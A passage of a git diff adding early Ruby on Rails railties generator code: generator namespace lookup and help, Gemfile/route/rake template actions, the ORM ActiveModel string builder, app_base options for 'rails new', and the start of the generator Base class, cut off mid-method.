index 0000000..4b767ea
--- /dev/null
+++ b/railties/lib/rails/generators.rb
@@ -0,0 +1,319 @@
+activesupport_path = File.expand_path('../../../../activesupport/lib', __FILE__)
+$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
+
+require 'active_support'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/hash/deep_merge'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/string/inflections'
+
+require 'rails/generators/base'
+
+module Rails
+ module Generators
+ autoload :Actions, 'rails/generators/actions'
+ autoload :ActiveModel, 'rails/generators/active_model'
+ autoload :Migration, 'rails/generators/migration'
+ autoload :NamedBase, 'rails/generators/named_base'
+ autoload :ResourceHelpers, 'rails/generators/resource_helpers'
+ autoload :TestCase, 'rails/generators/test_case'
+
+ mattr_accessor :namespace
+
+ DEFAULT_ALIASES = {
+ rails: {
+ actions: '-a',
+ orm: '-o',
+ javascripts: '-j',
+ javascript_engine: '-je',
+ resource_controller: '-c',
+ scaffold_controller: '-c',
+ stylesheets: '-y',
+ stylesheet_engine: '-se',
+ template_engine: '-e',
+ test_framework: '-t'
+ },
+
+ test_unit: {
+ fixture_replacement: '-r',
+ }
+ }
+
+ DEFAULT_OPTIONS = {
+ rails: {
+ assets: true,
+ force_plural: false,
+ helper: true,
+ integration_tool: nil,
+ javascripts: true,
+ javascript_engine: :js,
+ orm: false,
+ resource_controller: :controller,
+ resource_route: true,
+ scaffold_controller: :scaffold_controller,
+ stylesheets: true,
+ stylesheet_engine: :css,
+ test_framework: false,
+ template_engine: :erb
+ }
+ }
+
+ def self.configure!(config) #:nodoc:
+ no_color! unless config.colorize_logging
+ aliases.deep_merge! config.aliases
+ options.deep_merge! config.options
+ fallbacks.merge! config.fallbacks
+ templates_path.concat config.templates
+ templates_path.uniq!
+ hide_namespaces(*config.hidden_namespaces)
+ end
+
+ def self.templates_path #:nodoc:
+ @templates_path ||= []
+ end
+
+ def self.aliases #:nodoc:
+ @aliases ||= DEFAULT_ALIASES.dup
+ end
+
+ def self.options #:nodoc:
+ @options ||= DEFAULT_OPTIONS.dup
+ end
+
+ # Hold configured generators fallbacks. If a plugin developer wants a
+ # generator group to fallback to another group in case of missing generators,
+ # they can add a fallback.
+ #
+ # For example, shoulda is considered a test_framework and is an extension
+ # of test_unit. However, most part of shoulda generators are similar to
+ # test_unit ones.
+ #
+ # Shoulda then can tell generators to search for test_unit generators when
+ # some of them are not available by adding a fallback:
+ #
+ # Rails::Generators.fallbacks[:shoulda] = :test_unit
+ def self.fallbacks
+ @fallbacks ||= {}
+ end
+
+ # Remove the color from output.
+ def self.no_color!
+ Thor::Base.shell = Thor::Shell::Basic
+ end
+
+ # Track all generators subclasses.
+ def self.subclasses
+ @subclasses ||= []
+ end
+
+ # Rails finds namespaces similar to thor, it only adds one rule:
+ #
+ # Generators names must end with "_generator.rb". This is required because Rails
+ # looks in load paths and loads the generator just before it's going to be used.
+ #
+ # find_by_namespace :webrat, :rails, :integration
+ #
+ # Will search for the following generators:
+ #
+ # "rails:webrat", "webrat:integration", "webrat"
+ #
+ # Notice that "rails:generators:webrat" could be loaded as well, what
+ # Rails looks for is the first and last parts of the namespace.
+ def self.find_by_namespace(name, base=nil, context=nil) #:nodoc:
+ lookups = []
+ lookups << "#{base}:#{name}" if base
+ lookups << "#{name}:#{context}" if context
+
+ unless base || context
+ unless name.to_s.include?(?:)
+ lookups << "#{name}:#{name}"
+ lookups << "rails:#{name}"
+ end
+ lookups << "#{name}"
+ end
+
+ lookup(lookups)
+
+ namespaces = Hash[subclasses.map { |klass| [klass.namespace, klass] }]
+
+ lookups.each do |namespace|
+ klass = namespaces[namespace]
+ return klass if klass
+ end
+
+ invoke_fallbacks_for(name, base) || invoke_fallbacks_for(context, name)
+ end
+
+ # Receives a namespace, arguments and the behavior to invoke the generator.
+ # It's used as the default entry point for generate, destroy and update
+ # commands.
+ def self.invoke(namespace, args=ARGV, config={})
+ names = namespace.to_s.split(':')
+ if klass = find_by_namespace(names.pop, names.any? && names.join(':'))
+ args << "--help" if args.empty? && klass.arguments.any? { |a| a.required? }
+ klass.start(args, config)
+ else
+ puts "Could not find generator #{namespace}."
+ end
+ end
+
+ def self.hidden_namespaces
+ @hidden_namespaces ||= begin
+ orm = options[:rails][:orm]
+ test = options[:rails][:test_framework]
+ template = options[:rails][:template_engine]
+ css = options[:rails][:stylesheet_engine]
+
+ [
+ "rails",
+ "resource_route",
+ "#{orm}:migration",
+ "#{orm}:model",
+ "#{test}:controller",
+ "#{test}:helper",
+ "#{test}:integration",
+ "#{test}:mailer",
+ "#{test}:model",
+ "#{test}:scaffold",
+ "#{test}:view",
+ "#{template}:controller",
+ "#{template}:scaffold",
+ "#{template}:mailer",
+ "#{css}:scaffold",
+ "#{css}:assets",
+ "css:assets",
+ "css:scaffold"
+ ]
+ end
+ end
+
+ class << self
+ def hide_namespaces(*namespaces)
+ hidden_namespaces.concat(namespaces)
+ end
+ alias hide_namespace hide_namespaces
+ end
+
+ # Show help message with available generators.
+ def self.help(command = 'generate')
+ lookup!
+
+ namespaces = subclasses.map{ |k| k.namespace }
+ namespaces.sort!
+
+ groups = Hash.new { |h,k| h[k] = [] }
+ namespaces.each do |namespace|
+ base = namespace.split(':').first
+ groups[base] << namespace
+ end
+
+ puts "Usage: rails #{command} GENERATOR [args] [options]"
+ puts
+ puts "General options:"
+ puts " -h, [--help] # Print generator's options and usage"
+ puts " -p, [--pretend] # Run but do not make any changes"
+ puts " -f, [--force] # Overwrite files that already exist"
+ puts " -s, [--skip] # Skip files that already exist"
+ puts " -q, [--quiet] # Suppress status output"
+ puts
+ puts "Please choose a generator below."
+ puts
+
+ # Print Rails defaults first.
+ rails = groups.delete("rails")
+ rails.map! { |n| n.sub(/^rails:/, '') }
+ rails.delete("app")
+ rails.delete("plugin_new")
+ print_list("rails", rails)
+
+ hidden_namespaces.each { |n| groups.delete(n.to_s) }
+
+ groups.sort.each { |b, n| print_list(b, n) }
+ end
+
+ protected
+
+ # Prints a list of generators.
+ def self.print_list(base, namespaces) #:nodoc:
+ namespaces = namespaces.reject do |n|
+ hidden_namespaces.include?(n)
+ end
+
+ return if namespaces.empty?
+ puts "#{base.camelize}:"
+
+ namespaces.each do |namespace|
+ puts(" #{namespace}")
+ end
+
+ puts
+ end
+
+ # Try fallbacks for the given base.
+ def self.invoke_fallbacks_for(name, base) #:nodoc:
+ return nil unless base && fallbacks[base.to_sym]
+ invoked_fallbacks = []
+
+ Array(fallbacks[base.to_sym]).each do |fallback|
+ next if invoked_fallbacks.include?(fallback)
+ invoked_fallbacks << fallback
+
+ klass = find_by_namespace(name, fallback)
+ return klass if klass
+ end
+
+ nil
+ end
+
+ # Receives namespaces in an array and tries to find matching generators
+ # in the load path.
+ def self.lookup(namespaces) #:nodoc:
+ paths = namespaces_to_paths(namespaces)
+
+ paths.each do |raw_path|
+ ["rails/generators", "generators"].each do |base|
+ path = "#{base}/#{raw_path}_generator"
+
+ begin
+ require path
+ return
+ rescue LoadError => e
+ raise unless e.message =~ /#{Regexp.escape(path)}$/
+ rescue Exception => e
+ warn "[WARNING] Could not load generator #{path.inspect}. Error: #{e.message}.\n#{e.backtrace.join("\n")}"
+ end
+ end
+ end
+ end
+
+ # This will try to load any generator in the load path to show in help.
+ def self.lookup! #:nodoc:
+ $LOAD_PATH.each do |base|
+ Dir[File.join(base, "{rails/generators,generators}", "**", "*_generator.rb")].each do |path|
+ begin
+ path = path.sub("#{base}/", "")
+ require path
+ rescue Exception
+ # No problem
+ end
+ end
+ end
+ end
+
+ # Convert namespaces to paths by replacing ":" for "/" and adding
+ # an extra lookup. For example, "rails:model" should be searched
+ # in both: "rails/model/model_generator" and "rails/model_generator".
+ def self.namespaces_to_paths(namespaces) #:nodoc:
+ paths = []
+ namespaces.each do |namespace|
+ pieces = namespace.split(":")
+ paths << pieces.dup.push(pieces.last).join("/")
+ paths << pieces.join("/")
+ end
+ paths.uniq!
+ paths
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
new file mode 100644
index 0000000..28593c5
--- /dev/null
+++ b/railties/lib/rails/generators/actions.rb
@@ -0,0 +1,260 @@
+require 'open-uri'
+require 'rbconfig'
+
+module Rails
+ module Generators
+ module Actions
+ def initialize(*) # :nodoc:
+ super
+ @in_group = nil
+ end
+
+ # Adds an entry into Gemfile for the supplied gem.
+ #
+ # gem "rspec", group: :test
+ # gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
+ # gem "rails", "3.0", git: "git://github.com/rails/rails"
+ def gem(*args)
+ options = args.extract_options!
+ name, version = args
+
+ # Set the message to be shown in logs. Uses the git repo if one is given,
+ # otherwise use name (version).
+ parts, message = [ name.inspect ], name
+ if version ||= options.delete(:version)
+ parts << version.inspect
+ message << " (#{version})"
+ end
+ message = options[:git] if options[:git]
+
+ log :gemfile, message
+
+ options.each do |option, value|
+ parts << "#{option}: #{value.inspect}"
+ end
+
+ in_root do
+ str = "gem #{parts.join(", ")}"
+ str = " " + str if @in_group
+ str = "\n" + str
+ append_file "Gemfile", str, verbose: false
+ end
+ end
+
+ # Wraps gem entries inside a group.
+ #
+ # gem_group :development, :test do
+ # gem "rspec-rails"
+ # end
+ def gem_group(*names, &block)
+ name = names.map(&:inspect).join(", ")
+ log :gemfile, "group #{name}"
+
+ in_root do
+ append_file "Gemfile", "\ngroup #{name} do", force: true
+
+ @in_group = true
+ instance_eval(&block)
+ @in_group = false
+
+ append_file "Gemfile", "\nend\n", force: true
+ end
+ end
+
+ # Add the given source to Gemfile
+ #
+ # add_source "http://gems.github.com/"
+ def add_source(source, options={})
+ log :source, source
+
+ in_root do
+ prepend_file "Gemfile", "source #{source.inspect}\n", verbose: false
+ end
+ end
+
+ # Adds a line inside the Application class for config/application.rb.
+ #
+ # If options :env is specified, the line is appended to the corresponding
+ # file in config/environments.
+ #
+ # environment do
+ # "config.autoload_paths += %W(#{config.root}/extras)"
+ # end
+ #
+ # environment(nil, env: "development") do
+ # "config.autoload_paths += %W(#{config.root}/extras)"
+ # end
+ def environment(data=nil, options={}, &block)
+ sentinel = /class [a-z_:]+ < Rails::Application/i
+ env_file_sentinel = /::Application\.configure do/
+ data = block.call if !data && block_given?
+
+ in_root do
+ if options[:env].nil?
+ inject_into_file 'config/application.rb', "\n #{data}", after: sentinel, verbose: false
+ else
+ Array(options[:env]).each do |env|
+ inject_into_file "config/environments/#{env}.rb", "\n #{data}", after: env_file_sentinel, verbose: false
+ end
+ end
+ end
+ end
+ alias :application :environment
+
+ # Run a command in git.
+ #
+ # git :init
+ # git add: "this.file that.rb"
+ # git add: "onefile.rb", rm: "badfile.cxx"
+ def git(commands={})
+ if commands.is_a?(Symbol)
+ run "git #{commands}"
+ else
+ commands.each do |cmd, options|
+ run "git #{cmd} #{options}"
+ end
+ end
+ end
+
+ # Create a new file in the vendor/ directory. Code can be specified
+ # in a block or a data string can be given.
+ #
+ # vendor("sekrit.rb") do
+ # sekrit_salt = "#{Time.now}--#{3.years.ago}--#{rand}--"
+ # "salt = '#{sekrit_salt}'"
+ # end
+ #
+ # vendor("foreign.rb", "# Foreign code is fun")
+ def vendor(filename, data=nil, &block)
+ log :vendor, filename
+ create_file("vendor/#{filename}", data, verbose: false, &block)
+ end
+
+ # Create a new file in the lib/ directory. Code can be specified
+ # in a block or a data string can be given.
+ #
+ # lib("crypto.rb") do
+ # "crypted_special_value = '#{rand}--#{Time.now}--#{rand(1337)}--'"
+ # end
+ #
+ # lib("foreign.rb", "# Foreign code is fun")
+ def lib(filename, data=nil, &block)
+ log :lib, filename
+ create_file("lib/#{filename}", data, verbose: false, &block)
+ end
+
+ # Create a new Rakefile with the provided code (either in a block or a string).
+ #
+ # rakefile("bootstrap.rake") do
+ # project = ask("What is the UNIX name of your project?")
+ #
+ # <<-TASK
+ # namespace :#{project} do
+ # task :bootstrap do
+ # puts "I like boots!"
+ # end
+ # end
+ # TASK
+ # end
+ #
+ # rakefile('seed.rake', 'puts "Planting seeds"')
+ def rakefile(filename, data=nil, &block)
+ log :rakefile, filename
+ create_file("lib/tasks/#{filename}", data, verbose: false, &block)
+ end
+
+ # Create a new initializer with the provided code (either in a block or a string).
+ #
+ # initializer("globals.rb") do
+ # data = ""
+ #
+ # ['MY_WORK', 'ADMINS', 'BEST_COMPANY_EVAR'].each do |const|
+ # data << "#{const} = :entp\n"
+ # end
+ #
+ # data
+ # end
+ #
+ # initializer("api.rb", "API_KEY = '123456'")
+ def initializer(filename, data=nil, &block)
+ log :initializer, filename
+ create_file("config/initializers/#{filename}", data, verbose: false, &block)
+ end
+
+ # Generate something using a generator from Rails or a plugin.
+ # The second parameter is the argument string that is passed to
+ # the generator or an Array that is joined.
+ #
+ # generate(:authenticated, "user session")
+ def generate(what, *args)
+ log :generate, what
+ argument = args.map {|arg| arg.to_s }.flatten.join(" ")
+
+ in_root { run_ruby_script("bin/rails generate #{what} #{argument}", verbose: false) }
+ end
+
+ # Runs the supplied rake task
+ #
+ # rake("db:migrate")
+ # rake("db:migrate", env: "production")
+ # rake("gems:install", sudo: true)
+ def rake(command, options={})
+ log :rake, command
+ env = options[:env] || ENV["RAILS_ENV"] || 'development'
+ sudo = options[:sudo] && RbConfig::CONFIG['host_os'] !~ /mswin|mingw/ ? 'sudo ' : ''
+ in_root { run("#{sudo}#{extify(:rake)} #{command} RAILS_ENV=#{env}", verbose: false) }
+ end
+
+ # Just run the capify command in root
+ #
+ # capify!
+ def capify!
+ log :capify, ""
+ in_root { run("#{extify(:capify)} .", verbose: false) }
+ end
+
+ # Make an entry in Rails routing file config/routes.rb
+ #
+ # route "root 'welcome#index'"
+ def route(routing_code)
+ log :route, routing_code
+ sentinel = /\.routes\.draw do\s*$/
+
+ in_root do
+ inject_into_file 'config/routes.rb', "\n #{routing_code}", { after: sentinel, verbose: false }
+ end
+ end
+
+ # Reads the given file at the source root and prints it in the console.
+ #
+ # readme "README"
+ def readme(path)
+ log File.read(find_in_source_paths(path))
+ end
+
+ protected
+
+ # Define log for backwards compatibility. If just one argument is sent,
+ # invoke say, otherwise invoke say_status. Differently from say and
+ # similarly to say_status, this method respects the quiet? option given.
+ def log(*args)
+ if args.size == 1
+ say args.first.to_s unless options.quiet?
+ else
+ args << (self.behavior == :invoke ? :green : :red)
+ say_status(*args)
+ end
+ end
+
+ # Add an extension to the given name based on the platform.
+ def extify(name)
+ if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+ "#{name}.bat"
+ else
+ name
+ end
+ end
+
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/active_model.rb b/railties/lib/rails/generators/active_model.rb
new file mode 100644
index 0000000..e537370
--- /dev/null
+++ b/railties/lib/rails/generators/active_model.rb
@@ -0,0 +1,86 @@
+require 'active_support/deprecation'
+
+module Rails
+ module Generators
+ # ActiveModel is a class to be implemented by each ORM to allow Rails to
+ # generate customized controller code.
+ #
+ # The API has the same methods as ActiveRecord, but each method returns a
+ # string that matches the ORM API.
+ #
+ # For example:
+ #
+ # ActiveRecord::Generators::ActiveModel.find(Foo, "params[:id]")
+ # # => "Foo.find(params[:id])"
+ #
+ # DataMapper::Generators::ActiveModel.find(Foo, "params[:id]")
+ # # => "Foo.get(params[:id])"
+ #
+ # On initialization, the ActiveModel accepts the instance name that will
+ # receive the calls:
+ #
+ # builder = ActiveRecord::Generators::ActiveModel.new "@foo"
+ # builder.save # => "@foo.save"
+ #
+ # The only exception in ActiveModel for ActiveRecord is the use of self.build
+ # instead of self.new.
+ #
+ class ActiveModel
+ attr_reader :name
+
+ def initialize(name)
+ @name = name
+ end
+
+ # GET index
+ def self.all(klass)
+ "#{klass}.all"
+ end
+
+ # GET show
+ # GET edit
+ # PATCH/PUT update
+ # DELETE destroy
+ def self.find(klass, params=nil)
+ "#{klass}.find(#{params})"
+ end
+
+ # GET new
+ # POST create
+ def self.build(klass, params=nil)
+ if params
+ "#{klass}.new(#{params})"
+ else
+ "#{klass}.new"
+ end
+ end
+
+ # POST create
+ def save
+ "#{name}.save"
+ end
+
+ # PATCH/PUT update
+ def update(params=nil)
+ "#{name}.update(#{params})"
+ end
+
+ def update_attributes(*args) # :nodoc:
+ ActiveSupport::Deprecation.warn("Calling '@orm_instance.update_attributes' " \
+ "is deprecated, please use '@orm_instance.update' instead.")
+ update(*args)
+ end
+
+ # POST create
+ # PATCH/PUT update
+ def errors
+ "#{name}.errors"
+ end
+
+ # DELETE destroy
+ def destroy
+ "#{name}.destroy"
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
new file mode 100644
index 0000000..57dc7e7
--- /dev/null
+++ b/railties/lib/rails/generators/app_base.rb
@@ -0,0 +1,290 @@
+require 'digest/md5'
+require 'securerandom'
+require 'active_support/core_ext/string/strip'
+require 'rails/version' unless defined?(Rails::VERSION)
+require 'rbconfig'
+require 'open-uri'
+require 'uri'
+
+module Rails
+ module Generators
+ class AppBase < Base # :nodoc:
+ DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver )
+ JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc )
+ DATABASES.concat(JDBC_DATABASES)
+
+ attr_accessor :rails_template
+ add_shebang_option!
+
+ argument :app_path, type: :string
+
+ def self.add_shared_options_for(name)
+ class_option :template, type: :string, aliases: '-m',
+ desc: "Path to some #{name} template (can be a filesystem path or URL)"
+
+ class_option :skip_gemfile, type: :boolean, default: false,
+ desc: "Don't create a Gemfile"
+
+ class_option :skip_bundle, type: :boolean, aliases: '-B', default: false,
+ desc: "Don't run bundle install"
+
+ class_option :skip_git, type: :boolean, aliases: '-G', default: false,
+ desc: 'Skip .gitignore file'
+
+ class_option :skip_keeps, type: :boolean, default: false,
+ desc: 'Skip source control .keep files'
+
+ class_option :skip_active_record, type: :boolean, aliases: '-O', default: false,
+ desc: 'Skip Active Record files'
+
+ class_option :skip_sprockets, type: :boolean, aliases: '-S', default: false,
+ desc: 'Skip Sprockets files'
+
+ class_option :database, type: :string, aliases: '-d', default: 'sqlite3',
+ desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
+
+ class_option :javascript, type: :string, aliases: '-j', default: 'jquery',
+ desc: 'Preconfigure for selected JavaScript library'
+
+ class_option :skip_javascript, type: :boolean, aliases: '-J', default: false,
+ desc: 'Skip JavaScript files'
+
+ class_option :dev, type: :boolean, default: false,
+ desc: "Setup the #{name} with Gemfile pointing to your Rails checkout"
+
+ class_option :edge, type: :boolean, default: false,
+ desc: "Setup the #{name} with Gemfile pointing to Rails repository"
+
+ class_option :skip_test_unit, type: :boolean, aliases: '-T', default: false,
+ desc: 'Skip Test::Unit files'
+
+ class_option :rc, type: :string, default: false,
+ desc: "Path to file containing extra configuration options for rails command"
+
+ class_option :no_rc, type: :boolean, default: false,
+ desc: 'Skip loading of extra configuration options from .railsrc file'
+
+ class_option :help, type: :boolean, aliases: '-h', group: :rails,
+ desc: 'Show this help message and quit'
+ end
+
+ def initialize(*args)
+ @original_wd = Dir.pwd
+ super
+ convert_database_option_for_jruby
+ end
+
+ protected
+
+ def builder
+ @builder ||= begin
+ builder_class = get_builder_class
+ builder_class.send(:include, ActionMethods)
+ builder_class.new(self)
+ end
+ end
+
+ def build(meth, *args)
+ builder.send(meth, *args) if builder.respond_to?(meth)
+ end
+
+ def create_root
+ self.destination_root = File.expand_path(app_path, destination_root)
+ valid_const?
+
+ empty_directory '.'
+ set_default_accessors!
+ FileUtils.cd(destination_root) unless options[:pretend]
+ end
+
+ def apply_rails_template
+ apply rails_template if rails_template
+ rescue Thor::Error, LoadError, Errno::ENOENT => e
+ raise Error, "The template [#{rails_template}] could not be loaded. Error: #{e}"
+ end
+
+ def set_default_accessors!
+ self.rails_template = case options[:template]
+ when /^https?:\/\//
+ options[:template]
+ when String
+ File.expand_path(options[:template], Dir.pwd)
+ else
+ options[:template]
+ end
+ end
+
+ def database_gemfile_entry
+ options[:skip_active_record] ? "" :
+ <<-GEMFILE.strip_heredoc.chomp
+ # Use #{options[:database]} as the database for Active Record
+ gem '#{gem_for_database}'
+ GEMFILE
+ end
+
+ def include_all_railties?
+ !options[:skip_active_record] && !options[:skip_test_unit] && !options[:skip_sprockets]
+ end
+
+ def comment_if(value)
+ options[value] ? '# ' : ''
+ end
+
+ def rails_gemfile_entry
+ if options.dev?
+ <<-GEMFILE.strip_heredoc
+ gem 'rails', path: '#{Rails::Generators::RAILS_DEV_PATH}'
+ gem 'arel', github: 'rails/arel'
+ GEMFILE
+ elsif options.edge?
+ <<-GEMFILE.strip_heredoc
+ gem 'rails', github: 'rails/rails'
+ gem 'arel', github: 'rails/arel'
+ GEMFILE
+ else
+ <<-GEMFILE.strip_heredoc
+ # Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
+ gem 'rails', '#{Rails::VERSION::STRING}'
+ GEMFILE
+ end
+ end
+
+ def gem_for_database
+ # %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql )
+ case options[:database]
+ when "oracle" then "ruby-oci8"
+ when "postgresql" then "pg"
+ when "frontbase" then "ruby-frontbase"
+ when "mysql" then "mysql2"
+ when "sqlserver" then "activerecord-sqlserver-adapter"
+ when "jdbcmysql" then "activerecord-jdbcmysql-adapter"
+ when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter"
+ when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter"
+ when "jdbc" then "activerecord-jdbc-adapter"
+ else options[:database]
+ end
+ end
+
+ def convert_database_option_for_jruby
+ if defined?(JRUBY_VERSION)
+ case options[:database]
+ when "oracle" then options[:database].replace "jdbc"
+ when "postgresql" then options[:database].replace "jdbcpostgresql"
+ when "mysql" then options[:database].replace "jdbcmysql"
+ when "sqlite3" then options[:database].replace "jdbcsqlite3"
+ end
+ end
+ end
+
+ def assets_gemfile_entry
+ return if options[:skip_sprockets]
+
+ gemfile = if options.dev? || options.edge?
+ <<-GEMFILE.strip_heredoc
+ # Use edge version of sprockets-rails
+ gem 'sprockets-rails', github: 'rails/sprockets-rails'
+
+ # Use SCSS for stylesheets
+ gem 'sass-rails', github: 'rails/sass-rails'
+
+ # Use Uglifier as compressor for JavaScript assets
+ gem 'uglifier', '>= 1.3.0'
+ GEMFILE
+ else
+ <<-GEMFILE.strip_heredoc
+ # Use SCSS for stylesheets
+ gem 'sass-rails', '~> 4.0.0.rc1'
+
+ # Use Uglifier as compressor for JavaScript assets
+ gem 'uglifier', '>= 1.3.0'
+ GEMFILE
+ end
+
+ if options[:skip_javascript]
+ gemfile += <<-GEMFILE
+ #{coffee_gemfile_entry}
+ #{javascript_runtime_gemfile_entry}
+ GEMFILE
+ end
+
+ gemfile.gsub(/^[ \t]+/, '')
+ end
+
+ def coffee_gemfile_entry
+ if options.dev? || options.edge?
+ <<-GEMFILE
+ # Use CoffeeScript for .js.coffee assets and views
+ gem 'coffee-rails', github: 'rails/coffee-rails'
+ GEMFILE
+ else
+ <<-GEMFILE
+ # Use CoffeeScript for .js.coffee assets and views
+ gem 'coffee-rails', '~> 4.0.0'
+ GEMFILE
+ end
+ end
+
+ def javascript_gemfile_entry
+ unless options[:skip_javascript]
+ <<-GEMFILE.gsub(/^[ \t]+/, '')
+ #{coffee_gemfile_entry}
+ #{javascript_runtime_gemfile_entry}
+ # Use #{options[:javascript]} as the JavaScript library
+ gem '#{options[:javascript]}-rails'
+
+ # Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
+ gem 'turbolinks'
+ GEMFILE
+ end
+ end
+
+ def javascript_runtime_gemfile_entry
+ runtime = if defined?(JRUBY_VERSION)
+ "gem 'therubyrhino'"
+ else
+ "# gem 'therubyracer', platforms: :ruby"
+ end
+ <<-GEMFILE
+ # See https://github.com/sstephenson/execjs#readme for more supported runtimes
+ #{runtime}
+ GEMFILE
+ end
+
+ def bundle_command(command)
+ say_status :run, "bundle #{command}"
+
+ # We are going to shell out rather than invoking Bundler::CLI.new(command)
+ # because `rails new` loads the Thor gem and on the other hand bundler uses
+ # its own vendored Thor, which could be a different version. Running both
+ # things in the same process is a recipe for a night with paracetamol.
+ #
+ # We use backticks and #print here instead of vanilla #system because it
+ # is easier to silence stdout in the existing test suite this way. The
+ # end-user gets the bundler commands called anyway, so no big deal.
+ #
+ # We unset temporary bundler variables to load proper bundler and Gemfile.
+ #
+ # Thanks to James Tucker for the Gem tricks involved in this call.
+ _bundle_command = Gem.bin_path('bundler', 'bundle')
+
+ require 'bundler'
+ Bundler.with_clean_env do
+ print `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+ end
+ end
+
+ def run_bundle
+ bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
+ end
+
+ def empty_directory_with_keep_file(destination, config = {})
+ empty_directory(destination, config)
+ keep_file(destination)
+ end
+
+ def keep_file(destination)
+ create_file("#{destination}/.keep") unless options[:skip_keeps]
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
new file mode 100644
index 0000000..7e938fa
--- /dev/null
+++ b/railties/lib/rails/generators/base.rb
@@ -0,0 +1,378 @@
+begin
+ require 'thor/group'
+rescue LoadError
+ puts "Thor is not available.\nIf you ran this command from a git checkout " \
+ "of Rails, please make sure thor is installed,\nand run this command " \
+ "as `ruby #{$0} #{(ARGV | ['--dev']).join(" ")}`"
+ exit
+end
+
+require 'rails/generators/actions'
+
+module Rails
+ module Generators
+ class Error < Thor::Error # :nodoc:
+ end
+
+ class Base < Thor::Group
+ include Thor::Actions
+ include Rails::Generators::Actions
+
+ add_runtime_options!
+ strict_args_position!
+
+ # Returns the source root for this generator using default_source_root as default.
+ def self.source_root(path=nil)
+ @_source_root = path if path
+ @_source_root ||= default_source_root
+ end
+
+ # Tries to get the description from a USAGE file one folder above the source
+ # root otherwise uses a default description.
+ def self.desc(description=nil)
+ return super if description
+
+ @desc ||= if usage_path
+ ERB.new(File.read(usage_path)).result(binding)
+ else
+ "Description:\n Create #{base_name.humanize.downcase} files for #{generator_name} generator."
+ end
+ end
+
+ # Convenience method to get the namespace from the class name. It's the
+ # same as Thor default except that the Generator at the end of the class
+ # is removed.
+ def self.namespace(name=nil)
+ return super if name
+ @namespace ||= super.sub(/_generator$/, '').sub(/:generators:/, ':')
+ end
+
+ # Convenience method to hide this generator from the available ones when
+ # running rails generator command.
+ def self.hide!
+ Rails::Generators.hide_namespace self.namespace
+ end
+
+ # Invoke a generator based on the value supplied by the user to the
+ # given option named "name". A class option is created when this method
+ # is invoked and you can set a hash to customize it.
+ #
+ # ==== Examples
+ #
+ # module Rails::Generators
+ # class ControllerGenerator < Base
+ # hook_for :test_framework, aliases: "-t"
+ # end
+ # end
+ #
+ # The example above will create a test framework option and will invoke
+ # a generator based on the user supplied value.
+ #
+ # For example, if the user invoke the controller generator as:
+ #
+ # rails generate controller Account --test-framework=test_unit
+ #
+ # The controller generator will then try to invoke the following generators:
+ #
+ # "rails:test_unit", "test_unit:controller", "test_unit"
+ #
+ # Notice that "rails:generators:test_unit" could be loaded as well, what
+ # Rails looks for is the first and last parts of the namespace. This is what
+ # allows any test framework to hook into Rails as long as it provides any
+ # of the hooks above.
+ #
+ # ==== Options
+ #
+ # The first and last part used to find the generator to be invoked are
+ # guessed based on class invokes hook_for, as noticed in the example above.
+ # This can be customized with two options: :base and :as.
+ #
+ # Let's suppose you are creating a generator that needs to invoke the
+ # controller generator from test unit. Your first attempt is:
+ #
+ # class AwesomeGenerator < Rails::Generators::Base
+ # hook_for :test_framework
+ # end
+ #
+ # The lookup in this case for test_unit as input is:
+ #
+ # "test_unit:awesome", "test_unit"
+ #
+ # Which is not the desired lookup. You can change it by providing the
+ # :as option:
+ #
+ # class AwesomeGenerator < Rails::Generators::Base
+ # hook_for :test_framework, as: :controller
+ # end
+ #
+ # And now it will lookup at:
+ #
+ # "test_unit:controller", "test_unit"
+ #
+ # Similarly, if you want it to also lookup in the rails namespace, you just
+ # need to provide the :base value:
+ #
+ # class AwesomeGenerator < Rails::Generators::Base
+ # hook_for :test_framework, in: :rails, as: :controller
+ # end
+ #
+ # And the lookup is exactly the same as previously:
+ #
+ # "rails:test_unit", "test_unit:controller", "test_unit"
+ #
+ # ==== Switches
+ #
+ # All hooks come with switches for user interface. If you do not want
+ # to use any test framework, you can do:
+ #
+ # rails generate controller Account --skip-test-framework
+ #
+ # Or similarly:
+ #
+ # rails generate controller Account --no-test-framework
+ #
+ # ==== Boolean hooks
+ #
+ # In some cases, you may want to provide a boolean hook. For example, webrat
+ # developers might want to have webrat available on controller generator.
+ # This can be achieved as:
+ #
+ # Rails::Generators::ControllerGenerator.hook_for :webrat, type: :boolean
+ #
+ # Then, if you want webrat to be invoked, just supply:
+ #
+ # rails generate controller Account --webrat
+ #
+ # The hooks lookup is similar as above:
+ #
+ # "rails:generators:webrat", "webrat:generators:controller", "webrat"
+ #
+ # ==== Custom invocations
+ #
+ # You can also supply a block to hook_for to customize how the hook is
+ # going to be invoked. The block receives two arguments, an instance
+ # of the current class and the class to be invoked.
+ #
+ # For example, in the resource generator, the controller should be invoked
+ # with a pluralized class name. But by default it is invoked with the same
+ # name as the resource generator, which is singular. To change this, we
+ # can give a block to customize how the controller can be invoked.
+ #
+ # hook_for :resource_controller do |instance, controller|
+ # instance.invoke controller, [ instance.name.pluralize ]
+ # end
+ #
+ def self.hook_for(*names, &block)
+ options = names.extract_options!
+ in_base = options.delete(:in) || base_name
